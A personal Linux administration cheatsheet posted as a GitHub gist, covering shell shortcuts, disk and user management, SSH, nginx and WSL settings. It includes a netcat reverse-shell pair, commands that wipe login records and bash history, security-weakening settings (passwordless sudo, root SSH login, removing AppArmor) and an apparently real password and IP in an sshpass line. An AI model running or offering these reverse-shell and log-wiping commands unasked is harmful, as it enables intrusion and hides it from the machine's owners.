Skip to content

Instantly share code, notes, and snippets.

@crazyoptimist
Last active April 8, 2024 00:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save crazyoptimist/19fd2a669849662e7d910ca8ec691fd2 to your computer and use it in GitHub Desktop.
Save crazyoptimist/19fd2a669849662e7d910ca8ec691fd2 to your computer and use it in GitHub Desktop.
crazyoptimist's linux cheatsheet

Run the previous command as root

sudo !!

Reverse search command history

<Ctrl+r>

Get back to $HOME

cd

Get back to the previous directory

cd -

Set alias(shortcut) for commands

In $HOME/.bashrc or elsewhere

alias gpush="git push"

Check OS version

cat /etc/os-release
cat /etc/lsb-release
cat /etc/issue

Check memory status

free -h

Check disk usage

ncdu

Check number of CPUs

cat /proc/cpuinfo | awk '/^processor/{print $3}' | wc -l

List all linux users

cut -d\: -f1 /etc/passwd

Bulk operation

touch a{1..9}.txt
cp a{1..9}.txt backup-dir

Check disk space globally

df -h

Check directory/file size

du -h [file/dir name]

Uninstall applications in Arch Linux

# This is `apt autoremove` counterpart
pacman -Rns $(pacman -Qdtq)

Firewall configuration for SSH

If password login is enabled, failed login attempts will be very annoying.

Below config will block those attempts in CentOS.

firewall-cmd --permanent --add-source=185.75.166.0/24 --zone=trusted
firewall-cmd --permanent --add-service=ssh --zone trusted
firewall-cmd --permanent --remove-service=ssh --zone-public
firewall-cmd –reload

Check login history

last
sudo lastb

Purge login history

>/var/log/wtmp
>/var/log/btmp

Clear bash history

history -c

or

>~/.bash_history

Add a sudo user in Debian

adduser debian
usermod -aG sudo debian
getent group sudo  # verify
su - debian  # login as debian

debian is the new username

Add a user to the sudo group

# Debian
usermod -aG sudo username

# CentOS
usermod -aG wheel username

Then run this

visudo

And add this line to the end of the file /etc/sudoers

username ALL=(ALL) NOPASSWD:ALL

Enable Password Login

vim /etc/ssh/sshd_config

Edit the content like so:

PasswordAuthentication yes
PermitRootLogin prohibit-password -> PermitRootLogin yes

Then run this:

systemctl restart sshd

Restrict access via IP address, only allow via domain name in nginx

# New Server Block Named ‘ip-guard.conf’ or something like that 😊
server {
  listen 80 default_server;
  return 444;
}

Check your system version

lsb_release -a
cat /etc/issue
cat /etc/os-release
hostnamectl

Creat a Page Rule in Cloudflare

*crazyoptimist.net/*
# Forwarding URL : 301 Permanent Redirect
https://crazyoptimist.net/$2

Redirect NON-WWW TO WWW in nginx

server {
    if ($host = crazyoptimist.net) {
        return 301 https://www.$host$request_uri;
    }
    server_name crazyoptimist.net;
    listen 80;
    return 404; # managed by Certbot
}
server {
    if ($host = crazyoptimist.net) {
        return 301 https://www.$host$request_uri;
    }
    server_name crazyoptimist.net;
    listen 443 ssl;
    return 404; # managed by Certbot
}

Laptop Lid Configuration in Manjaro

To make the computer running after closing the lid.

HandleLidSwitch=ignore in  /etc/systemd/logind.conf
IgnoreLid=true in /etc/UPower/UPower.conf

Fix broken APT installation

apt --fix-broken install -y

Change shell

sudo cat /etc/shells
chsh <username>

Then select /bin/bash or /bin/zsh 😊

Password login and run multiple commands via SSH

sshpass -p '!QAZXSW@' ssh centos@54.245.191.227 "cd /var/www/ebay.paytroy && sudo git pull"

Run Two or More Terminal Commands at Once in Linux

  • The semicolon (;) operator allows you to execute multiple commands in succession, regardless of whether each previous command succeeds.
  • If you want the second command to only run if the first command is successful, separate the commands with the logical AND operator, which is two ampersands ( && ).

Force logout for a specific IP

who -u
sudo kill “pid”

List installed programs

apt list –-installed

SSH Tunneling to localhost

ssh -L localPort:localhost:hostPort -C -N -l username hostname

Update Grub Delay on Boot

vim /etc/default/grub
GRUB_TIMEOUT=2
sudo update-grub

Install desktop environment, configure remote access to a VM

apt update -y && apt upgrade -y
apt install xfce4 xfce4-goodies
systemctl enable --now lightdm
# download anydesk and run:
anydesk --get-id
echo your-password | anydesk --set-password

Configure Desktop Environment

# change the default display manager(gdm3, lightdm, sddm, lxdm)
# kde only goes with sddm
sudo apt install sddm
# if you only need to switch(i.e. already installed it)
sudo dpkg-reconfigure sddm
# start the service
sudo systemctl enable sddm
sudo systemctl disable lightdm
# change the login manager, specifically in kde
# open System Settings, go to Startup and Shutdown, and figure it out

Solved: cannot kill Docker container - permission denied

# it turned out that AppArmor service was messing up with Docker
sudo aa-remove-unknown
docker container kill $(docker ps -q)
# or
sudo apt-get purge --auto-remove apparmor
sudo service docker restart
docker system prune --all --volumes

Resize a patition(even a mounted boot patition) without losing data

Run lsblk which will print something like:

NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0   200G  0 disk
└─sda1   8:1    0   200G  0 part /
sdb      8:16   0   400G  0 disk
└─sdb1   8:17   0 199.5G  0 part /mnt

Run fdisk like this:

fdisk /dev/sdb
# carefully check where the partition starts
p
# remove the existing patition
d
# create a new patition with the whole free space
n
# write changes
w

Resize the file system, ext4 can be resized online.

resize2fs /dev/sdb1

Run lsblk to confirm the result:

NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0   200G  0 disk
└─sda1   8:1    0   200G  0 part /
sdb      8:16   0   400G  0 disk
└─sdb1   8:17   0   400G  0 part /mnt

Reverse Shell

  • listen for linux target
nc -lnvp MY_PORT -s MY_PUBLIC_IP
  • script on linux target
nc -e /bin/bash MY_PUBLIC_IP MY_PORT

Kickout User

w

This command will display all the live users on the machine.
Checkout TTY and WHAT columns.

sudo pkill -9 -t pts/1

pts/1 is just an example value from TTY column.

WSL Memory Capping

Go to %USERPROFILE%

Create a file .wslconfig

[wsl2]

# Limits VM memory to use no more than 8 GB, this can be set as whole numbers using GB or MB
memory=8GB 

# Limits number of cores
processors=4

/etc/wsl.conf is used for distro-specific config.

WSL file system access from Windows

Type \\wsl$ in file explorer

Increase max open file limit

It's 1024 by default. Check by ulimit -n or ulimit -a

sudo prlimit --nofile=8192 --pid $$; ulimit -n 8192

Kill a service running on a specific port

First find the Process ID (PID) associated with the port, eg. 5000

lsof -i tcp:5000

Kill the process:

kill -9 <PID>

NetworkManager CLI

man nmcli
# Show all active network devices
nmcli device show
# Show all active connections
nmcli connection show --active
# Delete a connection permanently
nmcli connection delete <connection name>

Check Open Ports

List all ports in use

sudo lsof -nP -iTCP -sTCP:LISTEN

Check a specific port (if it's already listening or available for mapping)

sudo lsof -nP -i:[port-number]

Vim search in the working/sub directory

:vimgrep /pattern/./**/*.ext

:vimgrep /pattern/subdirname/**/*.ext

For all extensions, you can use *.*

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment